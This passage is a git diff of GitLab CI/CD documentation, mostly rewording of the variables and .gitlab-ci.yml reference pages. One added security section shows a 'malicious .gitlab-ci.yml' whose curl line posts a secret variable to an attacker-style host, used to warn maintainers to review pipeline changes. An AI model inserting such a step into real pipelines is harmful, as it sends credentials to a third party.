[artifacts](pipelines/job_artifacts.md#artifactsreportsjunit) to GitLab. The `attachment` tag **must** contain the absolute path to the screenshots you uploaded. + +```xml +<testcase time="1.00" name="Test"> + <system-out>[[ATTACHMENT|/absolute/path/to/some/file]]</system-out> +</testcase> +``` + +When [this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/6061) is complete, the attached file will be visible on the pipeline details page. + +### Enabling the JUnit screenshots feature **(CORE ONLY)** + +This feature comes with the `:junit_pipeline_screenshots_view` feature flag disabled by default. + +To enable this feature, ask a GitLab administrator with [Rails console access](../administration/feature_flags.md#how-to-enable-and-disable-features-behind-flags) to run the +following command: + +```ruby +Feature.enable(:junit_pipeline_screenshots_view) +``` diff --git a/doc/ci/variables/README.md b/doc/ci/variables/README.md index 8f0ec75973c..1a982fa4e19 100644 --- a/doc/ci/variables/README.md +++ b/doc/ci/variables/README.md @@ -35,15 +35,15 @@ You can call issue numbers, user names, branch names, pipeline and commit IDs, and much more. Predefined environment variables are provided by GitLab -for the local environment of the Runner. +for the local environment of the runner. GitLab reads the `.gitlab-ci.yml` file and sends the information -to the Runner, where the variables are exposed. The Runner then runs the script commands. +to the runner, where the variables are exposed. The runner then runs the script commands. ### Use predefined environment variables You can choose one of the existing predefined variables -to be output by the Runner. +to be output by the runner. This example shows how to output a job's stage by using the predefined variable `CI_JOB_STAGE`. @@ -57,7 +57,7 @@ test_variable: - echo $CI_JOB_STAGE ``` -In this case, the Runner outputs the `stage` for the +In this case, the runner outputs the `stage` for the job `test_variable`, which is `test`:  @@ -84,7 +84,7 @@ When you need a specific custom environment variable, you can [set it up in the UI](#create-a-custom-variable-in-the-ui), in [the API](../../api/project_level_variables.md), or directly [in the `.gitlab-ci.yml` file](#create-a-custom-variable-in-gitlab-ciyml). -The variables are used by the Runner any time the pipeline runs. +The variables are used by the runner any time the pipeline runs. You can also [override variable values manually for a specific pipeline](../pipelines/index.md#specifying-variables-when-running-manual-jobs). There are two types of variables: **Variable** and **File**. You cannot set types in @@ -131,21 +131,40 @@ After you set a variable, call it from the `.gitlab-ci.yml` file: test_variable: stage: test script: - - echo $CI_JOB_STAGE # calls a predefined variable - - echo $TEST # calls a custom variable of type `env_var` - - echo $GREETING # calls a custom variable of type `file` that contains the path to the temp file - - cat $GREETING # the temp file itself contains the variable value + - echo $CI_JOB_STAGE # calls a predefined variable + - echo $TEST # calls a custom variable of type `env_var` + - echo $GREETING # calls a custom variable of type `file` that contains the path to the temp file + - cat $GREETING # the temp file itself contains the variable value ``` The output is:  +Variables can only be updated or viewed by project members with [maintainer permissions](../../user/permissions.md#project-members-permissions). + +#### Security + +Malicious code pushed to your `.gitlab-ci.yml` file could compromise your variables and send them to a third party server regardless of the masked setting. If the pipeline runs on a [protected branch](../../user/project/protected_branches.md) or [protected tag](../../user/project/protected_tags.md), it could also compromise protected variables. + +All merge requests that introduce changes to `.gitlab-ci.yml` should be reviewed carefully before: + +- [Running a pipeline in the parent project for a merge request submitted from a forked project](../merge_request_pipelines/index.md#run-pipelines-in-the-parent-project-for-merge-requests-from-a-forked-project). +- Merging the changes. + +Here is a simplified example of a malicious `.gitlab-ci.yml`: + +```yaml +build: + script: + - curl --request POST --data "secret_variable=$SECRET_VARIABLE" https://maliciouswebsite.abcd/ +``` + ### Custom environment variables of type Variable > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/46806) in GitLab 11.11. -For variables with the type **Variable**, the Runner creates an environment variable +For variables with the type **Variable**, the runner creates an environment variable that uses the key for the name and the value for the value. There are [some predefined variables](#custom-variables-validated-by-gitlab) of this type, @@ -155,8 +174,8 @@ which may be further validated. They appear when you add or update a variable in > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/46806) in GitLab 11.11. -For variables with the type **File**, the Runner creates an environment variable that uses the key for the name. -For the value, the Runner writes the variable value to a temporary file and uses this path. +For variables with the type **File**, the runner creates an environment variable that uses the key for the name. +For the value, the runner writes the variable value to a temporary file and uses this path. You can use tools like [the AWS CLI](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-envvars.html) and [`kubectl`](https://kubernetes.io/docs/concepts/configuration/organize-cluster-access-kubeconfig/#the-kubeconfig-environment-variable) @@ -215,8 +234,8 @@ You can't mask variables that don't meet these requirements. > Introduced in GitLab 9.3. Variables can be protected. When a variable is -protected, it is securely passed to pipelines running on -[protected branches](../../user/project/protected_branches.md) or [protected tags](../../user/project/protected_tags.md) only. The other pipelines do not get +protected, it is only passed to pipelines running on +[protected branches](../../user/project/protected_branches.md) or [protected tags](../../user/project/protected_tags.md). The other pipelines do not get the protected variable. To protect a variable: @@ -227,8 +246,7 @@ To protect a variable: 1. Select the **Protect variable** check box. 1. Click **Update variable**. -The variable is available for all subsequent pipelines. Protected variables can only -be updated or viewed by project members with [maintainer permissions](../../user/permissions.md#project-members-permissions). +The variable is available for all subsequent pipelines. ### Custom variables validated by GitLab @@ -250,7 +268,7 @@ All variables are set as environment variables in the build environment, and they are accessible with normal methods that are used to access such variables. In most cases `bash` or `sh` is used to execute the job script. -To access environment variables, use the syntax for your Runner's [shell](https://docs.gitlab.com/runner/executors/). +To access environment variables, use the syntax for your runner's [shell](https://docs.gitlab.com/runner/executors/). | Shell | Usage | |----------------------|------------------------------------------| @@ -413,7 +431,7 @@ script: You can define per-project or per-group variables that are set in the pipeline environment. Group-level variables are stored out of the repository (not in `.gitlab-ci.yml`) and are securely passed to GitLab Runner, -which makes them available during a pipeline run. For Premium users who do **not** use an external key store or who use GitLab's [integration with HashiCorp Vault](../examples/authenticating-with-hashicorp-vault/index.md), we recommend using group environment variables to store secrets like passwords, SSH keys, and credentials. +which makes them available during a pipeline run. For Premium users who do **not** use an external key store or who use GitLab's [integration with HashiCorp Vault](../secrets/index.md), we recommend using group environment variables to store secrets like passwords, SSH keys, and credentials. Group-level variables can be added by: @@ -445,7 +463,7 @@ To add an instance-level variable: 1. Click the **Add variable** button, and fill in the details: - **Key**: Must be one line, using only letters, numbers, or `_` (underscore), with no spaces. - - **Value**: [Since GitLab 13.3](https://gitlab.com/gitlab-org/gitlab/-/issues/220028), 10,000 characters allowed. This is also bounded by the limits of the selected Runner operating system. In GitLab 13.0 to 13.2, 700 characters allowed. + - **Value**: [Since GitLab 13.3](https://gitlab.com/gitlab-org/gitlab/-/issues/220028), 10,000 characters allowed. This is also bounded by the limits of the selected runner operating system. In GitLab 13.0 to 13.2, 700 characters allowed. - **Type**: `File` or `Variable`. - **Protect variable** (Optional): If selected, the variable is only available in pipelines that run on protected branches or tags. - **Mask variable** (Optional): If selected, the variable's **Value** is not shown in job logs. The variable is not saved if the value does not meet the [masking requirements](#masked-variable-requirements). @@ -493,7 +511,7 @@ build: deploy: stage: deploy script: - - echo $BUILD_VERSION # => hello + - echo $BUILD_VERSION # => hello dependencies: - build ``` @@ -512,7 +530,7 @@ build: deploy: stage: deploy script: - - echo $BUILD_VERSION # => hello + - echo $BUILD_VERSION # => hello needs: - job: build artifacts: true @@ -529,6 +547,7 @@ The order of precedence for variables is (from highest to lowest): and [manual pipeline run variables](#override-a-variable-by-manually-running-a-pipeline). 1. Project-level [variables](#custom-environment-variables) or [protected variables](#protect-a-custom-variable). 1. Group-level [variables](#group-level-environment-variables) or [protected variables](#protect-a-custom-variable). +1. Instance-level [variables](#instance-level-cicd-environment-variables) or [protected variables](#protect-a-custom-variable). 1. [Inherited environment variables](#inherit-environment-variables). 1. YAML-defined [job-level variables](../yaml/README.md#variables). 1. YAML-defined [global variables](../yaml/README.md#variables). @@ -608,7 +627,7 @@ Choose the branch you want to run the pipeline for, then add a variable and its  -The Runner overrides the value previously set and uses the custom +The runner overrides the value previously set and uses the custom value for this specific pipeline.  @@ -748,7 +767,7 @@ so `&&` is evaluated before `||`. > - It's deployed behind a feature flag, enabled by default. > - It's enabled on GitLab.com. > - It's recommended for production use. -> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-parenthesis-support-for-variables-core-only). **(CORE ONLY)** +> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-parenthesis-support-for-variables). **(CORE ONLY)** It is possible to use parentheses to group conditions. Parentheses have the highest precedence of all operators. Expressions enclosed in parentheses are evaluated first, @@ -831,7 +850,7 @@ output **will** contain the content of all your variables and any other secrets! The output **will** be uploaded to the GitLab server and made visible in job logs! -By default, GitLab Runner hides most of the details of what it is doing when +By default, the runner hides most of the details of what it is doing when processing a job. This behavior keeps job logs short, and prevents secrets from being leaked into the log unless your script writes them to the screen. diff --git a/doc/ci/variables/predefined_variables.md b/doc/ci/variables/predefined_variables.md index c79ea4b0d05..915041b71a6 100644 --- a/doc/ci/variables/predefined_variables.md +++ b/doc/ci/variables/predefined_variables.md @@ -12,7 +12,7 @@ For an introduction on this subject, read through the Some of the predefined environment variables are available only if a minimum version of [GitLab Runner](https://docs.gitlab.com/runner/) is used. Consult the table below to find the -version of Runner required. +version of GitLab Runner that's required. NOTE: **Note:** Starting with GitLab 9.0, we have deprecated some variables. Read the @@ -43,6 +43,7 @@ Kubernetes-specific environment variables are detailed in the | `CI_COMMIT_BRANCH` | 12.6 | 0.5 | The commit branch name. Present only when building branches. | | `CI_COMMIT_TAG` | 9.0 | 0.5 | The commit tag name. Present only when building tags. | | `CI_COMMIT_TITLE` | 10.8 | all | The title of the commit - the full first line of the message | +| `CI_COMMIT_TIMESTAMP` | 13.4 | all | The timestamp of the commit in the ISO 8601 format. | | `CI_CONCURRENT_ID` | all | 11.10 | Unique ID of build execution within a single executor. | | `CI_CONCURRENT_PROJECT_ID` | all | 11.10 | Unique ID of build execution within a single executor and project. | | `CI_CONFIG_PATH` | 9.4 | 0.5 | The path to CI configuration file. Defaults to `.gitlab-ci.yml` | @@ -69,7 +70,7 @@ Kubernetes-specific environment variables are detailed in the | `CI_JOB_NAME` | 9.0 | 0.5 | The name of the job as defined in `.gitlab-ci.yml` | | `CI_JOB_STAGE` | 9.0 | 0.5 | The name of the stage as defined in `.gitlab-ci.yml` | | `CI_JOB_TOKEN` | 9.0 | 1.2 | Token used for authenticating with the [GitLab Container Registry](../../user/packages/container_registry/index.md), downloading [dependent repositories](../../user/project/new_ci_build_permissions_model.md#dependent-repositories), and accessing [GitLab-managed Terraform state](../../user/infrastructure/index.md#gitlab-managed-terraform-state). | -| `CI_JOB_JWT` | 12.10 | all | RS256 JSON web token that can be used for authenticating with third party systems that support JWT authentication, for example [HashiCorp's Vault](../examples/authenticating-with-hashicorp-vault). | +| `CI_JOB_JWT` | 12.10 | all | RS256 JSON web token that can be used for authenticating with third party systems that support JWT authentication, for example [HashiCorp's Vault](../secrets/index.md). | | `CI_JOB_URL` | 11.1 | 0.5 | Job details URL | | `CI_KUBERNETES_ACTIVE` | 13.0 | all | Included with the value `true` only if the pipeline has a Kubernetes cluster available for deployments. Not included if no cluster is available. Can be used as an alternative to [`only:kubernetes`/`except:kubernetes`](../yaml/README.md#onlykubernetesexceptkubernetes) with [`rules:if`](../yaml/README.md#rulesif) | | `CI_MERGE_REQUEST_ASSIGNEES` | 11.9 | all | Comma-separated list of username(s) of assignee(s) for the merge request if [the pipelines are for merge requests](../merge_request_pipelines/index.md). Available only if `only: [merge_requests]` or [`rules`](../yaml/README.md#rules) syntax is used and the merge request is created. | @@ -119,7 +120,7 @@ Kubernetes-specific environment variables are detailed in the | `CI_RUNNER_EXECUTABLE_ARCH` | all | 10.6 | The OS/architecture of the GitLab Runner executable (note that this is not necessarily the same as the environment of the executor) | | `CI_RUNNER_ID` | 8.10 | 0.5 | The unique ID of runner being used | | `CI_RUNNER_REVISION` | all | 10.6 | GitLab Runner revision that is executing the current job | -| `CI_RUNNER_SHORT_TOKEN` | all | 12.3 | First eight characters of GitLab Runner's token used to authenticate new job requests. Used as Runner's unique ID | +| `CI_RUNNER_SHORT_TOKEN` | all | 12.3 | First eight characters of the runner's token used to authenticate new job requests. Used as the runner's unique ID | | `CI_RUNNER_TAGS` | 8.10 | 0.5 | The defined runner tags | | `CI_RUNNER_VERSION` | all | 10.6 | GitLab Runner version that is executing the current job | | `CI_SERVER` | all | all | Mark that job is executed in CI environment | diff --git a/doc/ci/variables/where_variables_can_be_used.md b/doc/ci/variables/where_variables_can_be_used.md index 2f26fddc808..330b960ca9a 100644 --- a/doc/ci/variables/where_variables_can_be_used.md +++ b/doc/ci/variables/where_variables_can_be_used.md @@ -18,13 +18,13 @@ This document describes where and how the different types of variables can be us There are two places defined variables can be used. On the: 1. GitLab side, in `.gitlab-ci.yml`. -1. The runner side, in `config.toml`. +1. The GitLab Runner side, in `config.toml`. ### `.gitlab-ci.yml` file | Definition | Can be expanded? | Expansion place | Description | |:-------------------------------------------|:-----------------|:-----------------------|:----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| -| `environment:url` | yes | GitLab | The variable expansion is made by GitLab's [internal variable expansion mechanism](#gitlab-internal-variable-expansion-mechanism).<br/><br/>Supported are all variables defined for a job (project/group variables, variables from `.gitlab-ci.yml`, variables from triggers, variables from pipeline schedules).<br/><br/>Not supported are variables defined in Runner's `config.toml` and variables created in job's `script`. | +| `environment:url` | yes | GitLab | The variable expansion is made by GitLab's [internal variable expansion mechanism](#gitlab-internal-variable-expansion-mechanism).<br/><br/>Supported are all variables defined for a job (project/group variables, variables from `.gitlab-ci.yml`, variables from triggers, variables from pipeline schedules).<br/><br/>Not supported are variables defined in the GitLab Runner `config.toml` and variables created in the job's `script`. | | `environment:name` | yes | GitLab | Similar to `environment:url`, but the variables expansion doesn't support the following:<br/><br/>- Variables that are based on the environment's name (`CI_ENVIRONMENT_NAME`, `CI_ENVIRONMENT_SLUG`).<br/>- Any other variables related to environment (currently only `CI_ENVIRONMENT_URL`).<br/>- [Persisted variables](#persisted-variables). | | `resource_group` | yes | GitLab | Similar to `environment:url`, but the variables expansion doesn't support the following:<br/><br/>- Variables that are based on the environment's name (`CI_ENVIRONMENT_NAME`, `CI_ENVIRONMENT_SLUG`).<br/>- Any other variables related to environment (currently only `CI_ENVIRONMENT_URL`).<br/>- [Persisted variables](#persisted-variables). | | `variables` | yes | Runner | The variable expansion is made by GitLab Runner's [internal variable expansion mechanism](#gitlab-runner-internal-variable-expansion-mechanism) | @@ -39,13 +39,13 @@ There are two places defined variables can be used. On the: ### `config.toml` file NOTE: **Note:** -You can read more about `config.toml` in the [Runner's docs](https://docs.gitlab.com/runner/configuration/advanced-configuration.html). +You can read more about `config.toml` in the [GitLab Runner docs](https://docs.gitlab.com/runner/configuration/advanced-configuration.html). | Definition | Can be expanded? | Description | |:-------------------------------------|:-----------------|:---------------------------------------------------------------------------------------------------------------------------------------------| -| `runners.environment` | yes | The variable expansion is made by the Runner's [internal variable expansion mechanism](#gitlab-runner-internal-variable-expansion-mechanism) | -| `runners.kubernetes.pod_labels` | yes | The Variable expansion is made by the Runner's [internal variable expansion mechanism](#gitlab-runner-internal-variable-expansion-mechanism) | -| `runners.kubernetes.pod_annotations` | yes | The Variable expansion is made by the Runner's [internal variable expansion mechanism](#gitlab-runner-internal-variable-expansion-mechanism) | +| `runners.environment` | yes | The variable expansion is made by GitLab Runner's [internal variable expansion mechanism](#gitlab-runner-internal-variable-expansion-mechanism) | +| `runners.kubernetes.pod_labels` | yes | The Variable expansion is made by GitLab Runner's [internal variable expansion mechanism](#gitlab-runner-internal-variable-expansion-mechanism) | +| `runners.kubernetes.pod_annotations` | yes | The Variable expansion is made by GitLab Runner's [internal variable expansion mechanism](#gitlab-runner-internal-variable-expansion-mechanism) | ## Expansion mechanisms @@ -59,7 +59,7 @@ There are three expansion mechanisms: The expanded part needs to be in a form of `$variable`, or `${variable}` or `%variable%`. Each form is handled in the same way, no matter which OS/shell will finally handle the job, -since the expansion is done in GitLab before any Runner will get the job. +since the expansion is done in GitLab before any runner will get the job. ### GitLab Runner internal variable expansion mechanism @@ -67,7 +67,7 @@ since the expansion is done in GitLab before any Runner will get the job. variables from triggers, pipeline schedules, and manual pipelines. - Not supported: variables defined inside of scripts (e.g., `export MY_VARIABLE="test"`). -The Runner uses Go's `os.Expand()` method for variable expansion. It means that it will handle +The runner uses Go's `os.Expand()` method for variable expansion. It means that it will handle only variables defined as `$variable` and `${variable}`. What's also important, is that the expansion is done only once, so nested variables may or may not work, depending on the ordering of variables definitions. diff --git a/doc/ci/yaml/README.md b/doc/ci/yaml/README.md index 8d3ba1992b9..40df9c7c986 100644 --- a/doc/ci/yaml/README.md +++ b/doc/ci/yaml/README.md @@ -34,8 +34,9 @@ We have complete examples of configuring pipelines: > from 30 days to under 8 hours with GitLab. NOTE: **Note:** -If you have a [mirrored repository that GitLab pulls from](../../user/project/repository/repository_mirroring.md#pulling-from-a-remote-repository-starter), +If you have a [mirrored repository that GitLab pulls from](../../user/project/repository/repository_mirroring.md#pulling-from-a-remote-repository), you may need to enable pipeline triggering. Go to your project's + **Settings > Repository > Pull from a remote repository > Trigger pipelines for mirror updates**. ## Introduction @@ -322,7 +323,7 @@ pipelines and merge request pipelines don't run, as there's no rule allowing the ```yaml workflow: rules: - - if: $CI_COMMIT_REF_NAME =~ /-wip$/ + - if: $CI_COMMIT_MESSAGE =~ /-wip$/ when: never - if: '$CI_PIPELINE_SOURCE == "push"' ``` @@ -363,7 +364,7 @@ makes your pipelines run for branches and tags. Branch pipeline status will be displayed within merge requests that use that branch as a source, but this pipeline type does not support any features offered by [Merge Request Pipelines](../merge_request_pipelines/) like -[Pipelines for Merge Results](../merge_request_pipelines/#pipelines-for-merged-results-premium) +[Pipelines for Merge Results](../merge_request_pipelines/#pipelines-for-merged-results) or [Merge Trains](../merge_request_pipelines/pipelines_for_merged_results/merge_trains/). Use this template if you are intentionally avoiding those features. @@ -490,7 +491,7 @@ include: file: '/templates/.gitlab-ci-template.yml' - project: 'my-group/my-project' - ref: 787123b47f14b552955ca2786bc9542ae66fee5b # Git SHA + ref: 787123b47f14b552955ca2786bc9542ae66fee5b # Git SHA file: '/templates/.gitlab-ci-template.yml' ``` @@ -982,7 +983,7 @@ If you do want to include the `rake test`, see [`before_script` and `after_scrip possible to inherit from regular jobs as well. `extends` supports multi-level inheritance. You should avoid using more than 3 levels, -but you can use as many as ten. +but you can use as many as eleven. The following example has two levels of inheritance: ```yaml @@ -1335,6 +1336,8 @@ expression string per rule, rather than an array of them. Any set of expressions evaluated can be [conjoined into a single expression](../variables/README.md#conjunction--disjunction) by using `&&` or `||`, and use the [variable matching syntax](../variables/README.md#syntax-of-environment-variable-expressions). +Unlike variables in [`script`](../variables/README.md#syntax-of-environment-variables-in-job-scripts) +sections, variables in rules expressions are always formatted as `$VARIABLE`. `if:` clauses are evaluated based on the values of [predefined environment variables](../variables/predefined_variables.md) or [custom environment variables](../variables/README.md#custom-environment-variables). @@ -1350,7 +1353,7 @@ job: - if: '$CI_MERGE_REQUEST_SOURCE_BRANCH_NAME =~ /^feature/' when: manual allow_failure: true - - if: '$CI_MERGE_REQUEST_SOURCE_BRANCH_NAME' # Checking for the presence of a variable is possible + - if: '$CI_MERGE_REQUEST_SOURCE_BRANCH_NAME' # Checking for the presence of a variable is possible ``` Some details regarding the logic that determines the `when` for the job: @@ -1434,7 +1437,12 @@ the files changed by Git push events. `rules: changes` works exactly the same way as [`only: changes` and `except: changes`](#onlychangesexceptchanges), accepting an array of paths. Similarly, it always returns true if there is no -Git push event, for example, when a new tag is created. It should only be used for branch pipelines or merge request pipelines. +Git push event, for example, when a new tag is created. It's recommended to use it +only with branch pipelines or merge request pipelines. For example, it's common to +use `rules: changes` with one of the following `if` clauses: + +- `if: $CI_COMMIT_BRANCH` +- `if: '$CI_PIPELINE_SOURCE == "merge_request_event"'` For example: @@ -1526,7 +1534,7 @@ same rule. In the following example: -- If the dockerfile or any file in `/docker/scripts` has changed, and var=blah, +- If the `Dockerfile` file or any file in `/docker/scripts` has changed, and var=blah, then the job runs manually - Otherwise, the job isn't included in the pipeline. @@ -1535,11 +1543,11 @@ docker build: script: docker build -t my-image:$CI_COMMIT_REF_SLUG . rules: - if: '$VAR == "string value"' - changes: # Will include the job and set to when:manual if any of the follow paths match a modified file. + changes: # Will include the job and set to when:manual if any of the follow paths match a modified file. - Dockerfile - docker/scripts/* when: manual - # - when: never would be redundant here, this is implied any time rules are listed. + # - when: never would be redundant here, this is implied any time rules are listed. ``` Keywords such as `branches` or `refs` that are currently available for @@ -1653,7 +1661,7 @@ job: - /^release/.*$/@gitlab-org/gitlab ``` -The above example will run `job` for all branches on `gitlab-org/gitlab`, +The above example runs `job` for all branches on `gitlab-org/gitlab`, except `master` and those with names prefixed with `release/`. If a job does not have an `only` rule, `only: ['branches', 'tags']` is set by @@ -1736,12 +1744,13 @@ Four keys are available: If you use multiple keys under `only` or `except`, the keys will be evaluated as a single conjoined expression. That is: -- `only:` means "include this job if all of the conditions match". -- `except:` means "exclude this job if any of the conditions match". +- `only:` includes the job if **all** of the keys have at least one condition that matches. +- `except:` excludes the job if **any** of the keys have at least one condition that matches. -With `only`, individual keys are logically joined by an AND: +With `only`, individual keys are logically joined by an `AND`. A job is added to +the pipeline if the following is true: -> (any of refs) AND (any of variables) AND (any of changes) AND (if Kubernetes is active) +- `(any listed refs are true) AND (any listed variables are true) AND (any listed changes are true) AND (any chosen Kubernetes status matches)` In the example below, the `test` job will `only` be created when **all** of the following are true: @@ -1761,17 +1770,14 @@ test: kubernetes: active ``` -`except` is implemented as a negation of this complete expression: - -> NOT((any of refs) AND (any of variables) AND (any of changes) AND (if Kubernetes is active)) +With `except`, individual keys are logically joined by an `OR`. A job is **not** +added if the following is true: -This means the keys are treated as if joined by an OR. This relationship could be described as: - -> (any of refs) OR (any of variables) OR (any of changes) OR (if Kubernetes is active) +- `(any listed refs are true) OR (any listed variables are true) OR (any listed changes are true) OR (a chosen Kubernetes status matches)` In the example below, the `test` job will **not** be created when **any** of the following are true: -- The pipeline runs for the `master`. +- The pipeline runs for the `master` branch. - There are changes to the `README.md` file in the root directory of the repository. ```yaml @@ -1868,16 +1874,18 @@ job1: Using the `changes` keyword with `only` or `except` makes it possible to define if a job should be created based on files modified by a Git push event. -This means the `only:changes` policy is useful for pipelines where: +The `only:changes` policy is only useful for pipelines triggered by the following +refs: -- `$CI_PIPELINE_SOURCE == 'push'` -- `$CI_PIPELINE_SOURCE == 'merge_request_event'` -- `$CI_PIPELINE_SOURCE == 'external_pull_request_event'` +- `branches` +- `external_pull_requests` +- `merge_requests` (see additional details about [using `only:changes` with pipelines for merge requests](#using-onlychanges-with-pipelines-for-merge-requests)) -If there is no Git push event, such as for pipelines with -[sources other than the three above](../variables/predefined_variables.md), -`changes` can't determine if a given file is new or old, and will always -return true. +CAUTION: **Caution:** +In pipelines with [sources other than the three above](../variables/predefined_variables.md) +`changes` can't determine if a given file is new or old and always returns `true`. +This includes pipelines triggered by pushing new tags. Configuring jobs to use `only: changes` +with other `only: refs` keywords is possible, but not recommended. A basic example of using `only: changes`: @@ -1885,6 +1893,8 @@ A basic example of using `only: changes`: docker build: script: docker build -t my-image:$CI_COMMIT_REF_SLUG . only: + refs: + - branches changes: - Dockerfile - docker/scripts/* @@ -1913,13 +1923,17 @@ in double quotes or GitLab will fail to parse the `.gitlab-ci.yml`. For example: test: script: npm run test only: + refs: + - branches changes: - "*.json" - "**/*.sql" ``` The following example will skip the `build` job if a change is detected in any file -in the root directory of the repository with a `.md` extension: +in the root directory of the repository with a `.md` extension. This mean that if you change multiple files, +but only one file is a `.md` file, the `build` job will still be skipped and will +not run for the other files. ```yaml build: @@ -2072,9 +2086,9 @@ This example creates four paths of execution: because of `only/except` rules or otherwise does not exist, the pipeline will be created with YAML error. - The maximum number of jobs that a single job can need in the `needs:` array is limited: - - For GitLab.com, the limit is ten. For more information, see our + - For GitLab.com, the limit is 50. For more information, see our [infrastructure issue](https://gitlab.com/gitlab-com/gl-infra/infrastructure/-/issues/7541). - - For self-managed instances, the limit is: 50. This limit [can be changed](#changing-the-needs-job-limit-core-only). + - For self-managed instances, the limit is: 50. This limit [can be changed](#changing-the-needs-job-limit). - If `needs:` refers to a job that is marked as `parallel:`. the current job will depend on all parallel jobs created. - `needs:` is similar to `dependencies:` in that it needs to use jobs from prior stages, @@ -2190,10 +2204,7 @@ build_job: ``` Environment variables support for `project:`, `job:`, and `ref` was [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/202093) -in GitLab 13.3. This is under development, but it is ready for production use. It is deployed -behind the `ci_expand_names_for_cross_pipeline_artifacts` feature flag, which is **disabled by default**. -[GitLab administrators with access to the GitLab Rails console](../../administration/feature_flags.md) -can enable it for your instance. +in GitLab 13.3. [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/235761) in GitLab 13.4. For example: @@ -2214,14 +2225,14 @@ Downloading artifacts from jobs that are run in [`parallel:`](#parallel) is not ### `tags` -`tags` is used to select specific runners from the list of all runners that are -allowed to run this project. +Use `tags` to select a specific runner from the list of all runners that are +available for the project. -During the registration of a runner, you can specify the runner's tags, for +When you register a runner, you can specify the runner's tags, for example `ruby`, `postgres`, `development`. -`tags` allow you to run jobs with runners that have the specified tags -assigned to them: +In this example, the job is run by a runner that +has both `ruby` AND `postgres` tags defined. ```yaml job: @@ -2230,12 +2241,9 @@ job: - postgres ``` -The specification above, will make sure that `job` is built by a runner that -has both `ruby` AND `postgres` tags defined. - -Tags are also a great way to run different jobs on different platforms, for -example, given an OS X runner with tag `osx` and Windows runner with tag -`windows`, the following jobs run on respective platforms: +You can use tags to run different jobs on different platforms. For +example, if you have an OS X runner with tag `osx` and a Windows runner with tag +`windows`, you can run a job on each platform: ```yaml windows job: @@ -2257,7 +2265,7 @@ osx job: ### `allow_failure` -`allow_failure` allows a job to fail without impacting the rest of the CI +Use `allow_failure` when you want to let a job fail without impacting the rest of the CI suite. The default value is `false`, except for [manual](#whenmanual) jobs using the `when: manual` syntax, unless using [`rules:`](#rules) syntax, where all jobs @@ -2353,12 +2361,12 @@ cleanup_job: when: always ``` -The above script will: +The above script: -1. Execute `cleanup_build_job` only when `build_job` fails. -1. Always execute `cleanup_job` as the last step in pipeline regardless of +1. Executes `cleanup_build_job` only when `build_job` fails. +1. Always executes `cleanup_job` as the last step in pipeline regardless of success or failure. -1. Allow you to manually execute `deploy_job` from GitLab's UI. +1. Executes `deploy_job` when you run it manually in the GitLab UI. #### `when:manual` @@ -2395,7 +2403,7 @@ Manual actions are considered to be write actions, so permissions for a user wants to trigger an action. In other words, in order to trigger a manual action assigned to a branch that the pipeline is running for, the user needs to have the ability to merge to this branch. It's possible to use protected environments -to more strictly [protect manual deployments](#protecting-manual-jobs-premium) from being +to more strictly [protect manual deployments](#protecting-manual-jobs) from being run by unauthorized users. NOTE: **Note:** @@ -2452,7 +2460,7 @@ You can set the period with `start_in` key. The value of `start_in` key is an el provided. `start_in` key must be less than or equal to one week. Examples of valid values include: - `'5'` -- `10 seconds` +- `5 seconds` - `30 minutes` - `1 day` - `1 week` @@ -2796,10 +2804,10 @@ Since the cache is shared between jobs, if you're using different paths for different jobs, you should also set a different `cache:key` otherwise cache content can be overwritten. -The `key` directive allows you to define the affinity of caching between jobs, -allowing to have a single cache for all jobs, cache per-job, cache per-branch +The `key` parameter defines the affinity of caching between jobs, +to have a single cache for all jobs, cache per-job, cache per-branch or any other way that fits your workflow. This way, you can fine tune caching, -allowing you to cache data between different jobs or even different branches. +including caching data between different jobs or even different branches. The `cache:key` variable can use any of the [predefined variables](../variables/README.md). The default key, if not @@ -2863,9 +2871,9 @@ use the new cache, instead of rebuilding the dependencies. > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/18986) in GitLab v12.5. -The `prefix` parameter adds extra functionality to `key:files` by allowing the key to -be composed of the given `prefix` combined with the SHA computed for `cache:key:files`. -For example, adding a `prefix` of `test`, will cause keys to look like: `test-feef9576d21ee9b6a32e30c5c79d0a0ceb68d1e5`. +When you want to combine a prefix with the SHA computed for `cache:key:files`, +use the `prefix` parameter with `key:files`. +For example, if you add a `prefix` of `test`, the resulting key is: `test-feef9576d21ee9b6a32e30c5c79d0a0ceb68d1e5`. If neither file was changed in any commits, the prefix is added to `default`, so the key in the example would be `test-default`. @@ -2925,8 +2933,8 @@ rspec: > Introduced in GitLab 9.4. The default behavior of a caching job is to download the files at the start of -execution, and to re-upload them at the end. This allows any changes made by the -job to be persisted for future runs, and is known as the `pull-push` cache +execution, and to re-upload them at the end. Any changes made by the +job are persisted for future runs. This behavior is known as the `pull-push` cache policy. If you know the job does not alter the cached files, you can skip the upload step @@ -2979,7 +2987,8 @@ skip the download step. attached to the job when it [succeeds, fails, or always](#artifactswhen). The artifacts will be sent to GitLab after the job finishes and will -be available for download in the GitLab UI. +be available for download in the GitLab UI provided that the size is not +larger than the [maximum artifact size](../../user/gitlab_com/index.md#gitlab-cicd). [Read more about artifacts](../pipelines/job_artifacts.md). @@ -3083,7 +3092,7 @@ For example, to match a single file: ```yaml test: - script: [ "echo 'test' > file.txt" ] + script: ["echo 'test' > file.txt"] artifacts: expose_as: 'artifact 1' paths: ['file.txt'] @@ -3096,7 +3105,7 @@ An example that will match an entire directory: ```yaml test: - script: [ "mkdir test && echo 'test' > test/file.txt" ] + script: ["mkdir test && echo 'test' > test/file.txt"] artifacts: expose_as: 'artifact 1' paths: ['test/'] @@ -3225,7 +3234,7 @@ Send all untracked files but [exclude](#artifactsexclude) `*.txt`: artifacts: untracked: true exclude: - - *.txt + - "*.txt" ``` #### `artifacts:when` @@ -3253,10 +3262,12 @@ job: > Introduced in GitLab 8.9 and GitLab Runner v1.3.0. -`expire_in` allows you to specify how long artifacts should live before they -expire and are therefore deleted, counting from the time they are uploaded and +Use `expire_in` to specify how long artifacts are active before they 